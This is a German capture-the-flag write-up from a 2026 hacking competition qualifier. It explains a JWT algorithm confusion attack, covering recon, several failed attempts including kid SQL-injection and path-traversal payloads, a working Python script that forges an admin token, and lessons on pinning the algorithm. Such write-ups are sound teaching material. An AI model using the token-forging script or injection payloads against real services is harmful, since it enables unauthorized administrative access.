Disclaimer: Im August 2026 fand die Qualifikation für das Finale von Deutschlands Bester Hacker statt, welches ich auf Platz 1 abschließen konnte. Nur zwei Teilnehmer waren in der Lage, alle Challenges zu lösen. Dieses Writeup wurde mit KI auf Basis meiner Notizen erstellt und kann Fehler enthalten, bei Fragen bitte direkt an mich wenden im DBH-Discord.
| Wettbewerb | Deutschlands Bester Hacker 2026 — Qualifikation |
| Kategorie | Web |
| Punkte | 465 |
| Angriffsklasse | JWTJSON Web TokenKompaktes, signierbares Token zur Übertragung von Identitäts- und Berechtigungsinformationen. Algorithm ConfusionAlgorithm ConfusionAngriff, bei dem der Prüfer einen vom Angreifer gewählten Signaturalgorithmus akzeptiert. (RS256 → HS256) |
| Flag | DBH{jwt_4lg0r1thm_c0nfu510n_XXX} |
Die Challenge
Ein internes Gateway authentifiziert Benutzer per JWT mit RS256 (asymmetrische
RSA-Signatur). Der RSA Public Key ist unter /PublicKeys abrufbar. Der Server akzeptiert
jedoch auch HS256-signierte Tokens und verwendet dabei denselben Public Key als
HMAC-Secret. Über diese Algorithm Confusion lässt sich ein eigener Token mit
"role": "admin" signieren.
Aufklärung
Login mit den bereitgestellten Credentials guest:guest:
curl -s -X POST <URL>/login \
-H 'Content-Type: application/json' \
-d '{"username":"guest","password":"guest"}'
Antwort:
{
"access_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6ImNoYWxsZW5nZS1yc2EtMS...",
"expires_in": 900,
"token_type": "Bearer"
}
Dekodiert:
Header: {"alg": "RS256", "kid": "challenge-rsa-1", "typ": "JWT"}
Payload: {"sub": "1001", "username": "guest", "role": "user",
"iss": "jwt-lab", "aud": "jwt-lab-client",
"iat": 1787399994, "exp": 1787400894}
Wesentliche Erkenntnisse: Algorithmus RS256, Rolle "user" (Ziel ist "admin"), kid
ist challenge-rsa-1.
Der Admin-Endpoint verhält sich sauber:
GET /adminohne Token → 401 UnauthorizedGET /adminmit Guest-Token → 403 Forbidden (Token gültig, Rolle reicht nicht)
Der Server unterscheidet also korrekt zwischen fehlender und unzureichender AuthentifizierungAuthenticationÜberprüfung der behaupteten Identität eines Benutzers oder Systems..
Endpoint-EnumerationEnumerationErmittelt Benutzer, Dienste, Freigaben oder andere Ressourcen eines Zielsystems.. Manuelles Probing gängiger Pfade (/.well-known/jwks.json,
/keys, /verify, /jwks) ergab nur vier aktive Endpoints: /, /login, /admin und
/health. Den entscheidenden fand ich per Directory Bruteforcing mit der
raft-medium-directories.txt aus SecLists:
/PublicKeys → 200 OK (Content-Type: application/x-pem-file)
Dort lag der vollständige RSA Public Key im PEM-Format — die „Information, die eigentlich nur für legitime Clients gedacht ist“.
Sackgassen
Bevor der Public Key gefunden war, habe ich systematisch andere JWT-Angriffe getestet:
| Angriff | Idee | Ergebnis |
|---|---|---|
alg: none |
Signaturprüfung umgehen | 401 — Server lehnt unsignierte Tokens ab |
| PayloadPayloadTeil eines Angriffs oder Exploits, der die beabsichtigte schädliche Wirkung ausführt.-Manipulation | role: admin setzen, Original-Signatur behalten |
401 — Signatur wird korrekt geprüft |
kid SQL-InjectionInjection AttackManipuliert Interpreter oder Anwendungen durch eingeschleuste Befehle oder Daten. |
' UNION SELECT '' -- im kid-Feld |
401 — kein SQL-basiertes Key-Lookup |
kid Path TraversalDirectory TraversalAngriff, der Pfadmanipulation nutzt, um auf nicht vorgesehene Dateien zuzugreifen. |
../../dev/null als kid, HS256 mit leerem Secret |
401 |
Embedded jwk |
Eigenen RSA-Key im JWT-Header als jwk einbetten |
401 — Server ignoriert eingebettete Keys |
| Fermat-Faktorisierung | RSA-Modulus n faktorisieren (falls p ≈ q) | Fehlschlag — kein schwacher Schlüssel |
| Key Recovery (sig2n) | Public Key aus zwei JWT-Signaturen via GCD ableiten | Timeout — s^65537 zu groß für native Python |
Die Schwachstelle
Bei RS256 signiert der Server mit einem privaten RSA-Schlüssel und verifiziert mit dem zugehörigen öffentlichen Schlüssel. Bei HS256 wird derselbe Schlüssel zum Signieren und Verifizieren verwendet.
Wenn eine JWT-Library den Algorithmus aus dem Token-Header liest, statt ihn serverseitig
festzulegen, kann ein Angreifer den Algorithmus auf HS256 ändern und den bekannten Public
Key als HMAC-Secret verwenden. Der Server verifiziert dann den HMAC mit demselben Public Key
— und der Token ist gültig.
Dokumentiert ist das unter anderem als CVE-2022-29217 (PyJWT < 2.4.0) und CVE-2026-48526 (PyJWT < 2.13.0).
Der Angriff
Angreifer Server
│ │
│── GET /PublicKeys ─────────────────────────>│
│<── RSA Public Key (PEM) ───────────────────│
│ │
│ JWT erstellen: │
│ Header: alg=HS256, kid=challenge-rsa-1 │
│ Payload: role=admin │
│ Signatur: HMAC-SHA256(PEM, header.payload)
│ │
│── GET /admin + Bearer [forged JWT] ────────>│
│ Server liest alg: HS256 │
│ Verifiziert HMAC mit PubKey │
│ Signatur stimmt, Rolle admin │
│<── 200 OK + Flag ──────────────────────────│
Schritt 1 — Public Key abrufen:
curl -s <URL>/PublicKeys > pubkey.pem
Schritt 2 — gefälschten JWT erzeugen: Header auf HS256 ändern, Payload-Rolle auf admin
setzen, mit dem PEM-File (inklusive Zeilenumbruch am Ende) als HMAC-Secret signieren:
import hmac, hashlib, base64, json
pem = open("pubkey.pem").read().strip() + "\n"
header = {"alg": "HS256", "kid": "challenge-rsa-1", "typ": "JWT"}
payload = {
"sub": "1001", "username": "guest",
"role": "admin",
"iss": "jwt-lab", "aud": "jwt-lab-client",
"iat": 1787401004, "exp": 1787499994
}
def b64url(data):
return base64.urlsafe_b64encode(
data if isinstance(data, bytes) else data.encode()
).rstrip(b"=").decode()
h = b64url(json.dumps(header, separators=(",", ":")))
p = b64url(json.dumps(payload, separators=(",", ":")))
sig = hmac.new(pem.encode(), f"{h}.{p}".encode(), hashlib.sha256).digest()
print(f"{h}.{p}.{b64url(sig)}")
Schritt 3 — Admin-Bereich aufrufen:
curl -s <URL>/admin -H "Authorization: Bearer [forged token]"
{
"flag": "DBH{jwt_4lg0r1thm_c0nfu510n_XXX}",
"message": "Welcome administrator"
}
Stolperfalle: das Key-Format. Der Angriff funktioniert nur, wenn das exakte Byte-Format des HMAC-Secrets mit dem übereinstimmt, was der Server intern als Schlüssel lädt. Ich habe sieben Varianten getestet:
| Format | Ergebnis |
|---|---|
PEM-String (ohne trailing \n) |
401 |
| DER-Binärdaten (SPKI) | 401 |
| DER-Binärdaten (PKCS#1) | 401 |
| Base64-Inhalt ohne Header | 401 |
| JWK-JSON-String | 401 |
| Rohe n-Bytes | 401 |
PEM-String mit trailing \n |
200 |
Nur der vollständige PEM-String mit abschließendem Zeilenumbruch wurde akzeptiert — genau
so, wie Python open("key.pem").read() die Datei einlesen würde.
Die Flag
DBH{jwt_4lg0r1thm_c0nfu510n_XXX}
Was ich mitnehme
Algorithmus serverseitig pinnen. Die JWT-Library darf den Algorithmus nie aus dem
Token-Header lesen. Korrekt ist jwt.decode(token, key, algorithms=["RS256"]). Unsicher:
algorithms=["RS256", "HS256"] oder gar keine Einschränkung.
Public Keys sind nicht geheim — aber nicht harmlos. Ein exponierter Public Key ist bei korrekter Implementierung kein Problem. Erst in Kombination mit Algorithm Confusion wird er zum AngriffsvektorAttack VectorWeg oder Methode, über die ein Angreifer ein Ziel kompromittiert..
Directory Bruteforcing lohnt sich. Der entscheidende Endpoint /PublicKeys war nicht
über gängige Konventionen (/.well-known/jwks.json) auffindbar, sondern nur durch
systematische Enumeration mit einer guten Wordlist.
Eingesetzte Tools: curl für die HTTP-Requests, Python 3 mit hmac für JWT-Erstellung und
HMAC-Signierung, SecLists (raft-medium-directories.txt) für die Enumeration, base64 und
json für die Token-Dekodierung.